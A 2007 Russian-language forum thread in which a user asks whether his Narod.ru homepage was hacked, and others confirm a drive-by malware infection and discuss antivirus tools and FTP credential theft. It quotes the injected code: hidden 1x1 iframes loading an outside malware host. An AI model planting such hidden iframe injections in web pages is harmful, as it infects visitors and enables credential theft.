[image]

Это меня хакнули?

 
+
-
edit
 

marata

Вахтер форумный
★☆
На Народе у меня страничка есть. Сегодня увидел, что она перестала грузиться. А там вот такая хрень
code text
  1. <iframe src='http://takesnames.info/st/go.php?sid=' width=1 height=1 style='visibility: hidden;'></iframe>
  2. <iframe src='http://takesnames.info/st/go.php?sid=1' width=1 height=1 style='visibility: hidden;'></iframe>
  3. <iframe src='http://takesnames.info/st/go.php?sid=2' width=1 height=1 style='visibility: hidden;'></iframe>
  4. <iframe src='http://takesnames.info/st/go.php?sid=3' width=1 height=1 style='visibility: hidden;'></iframe><!-- ><!-- "><!-- '><!-- --></textarea></form>
  5. </title></comment></a>
  6. </div></span></ilayer></layer></iframe></noframes></style></noscript></table></script></applet></font>
  7. <style>
  8. #bn {display:block;}
  9. #bt {display:block;}
  10. </style>
  11. <div style="background:url(http://www.tns-counter.ru/V13a****yandex_ru/ru/CP1251/tmsec=narod_total/)"></div>
  12. <script language="JavaScript" src="http://bs.yandex.ru/show/163"></script>
  13. <!-- mailto:spm111@yandex.ru -->

С чего бы это? Страница была изменена 11.07.07, туда я с апреля не лазил.
P.S. Пароль уже сменил, антивирем все проверил
   
+
-
edit
 

Balancer

администратор
★★★★★
Хакнули. Вставили iframe с, видимо, загрузкой вируса. Типа, кто к тебе заходит - заражается :)

Авиабазу так, пока форумом SMF пользовалась, дважды ломали.
   
LT Bredonosec #30.07.2007 01:44
+
-
edit
 
Кста, вопрос, никто не помнит названия сервиса, куда можно залить файло из сети на проверку - не зараженное ли? Именно не с компа, а чтоб себе не сливать - напрямую урл дать.
   
+
-
edit
 

marata

Вахтер форумный
★☆
Вчера проверился NODом32... нашел Win32/PSW.LdPinch... :( Касперский и АдАваре были безжалостно снесены за никчемностью ;(
   
LT Bredonosec #30.07.2007 20:26
+
-
edit
 
адаваря вообще вирей не ловит. Она адварю/спайварю только отслеживает - всякие бары и модули, самоподключающиеся к броузеру, шпЫёнские кукисы, т.д.
   
RU Спокойный_Тип #30.07.2007 21:24
+
-
edit
 
да..у нас корпаративный макафи ничего не ловит...точно такаяже фигня - у человека страничка на народе.ру...он на неё заходит - там в ифрейме клиент ботнета(троян) подгружается..."сквозь" ие и макафи...после ребута машина не поднимается...пришлось ему заново машику сетапить
мой файрфокс с навом - ругаются но блокируют
он нодом у себя дома на машине троян нашёл..увели фтп акк и от дефейсили страничку :-(
   
US Mishka #31.07.2007 02:31  @спокойный тип#30.07.2007 21:24
+
-
edit
 

Mishka

модератор
★★★
Спокойный_Тип> он нодом у себя дома на машине троян нашёл..увели фтп акк и от дефейсили страничку :-(

Я по этой причине сейчас полностью на https для почты перешёл (gmail) и стараюсь все свои FTP перевести на SFTP, etlnet --> sshd. Чтобы снифами не унюхали.
   

в начало страницы | новое
 
Поиск
Настройки
Твиттер сайта
Статистика
Рейтинг@Mail.ru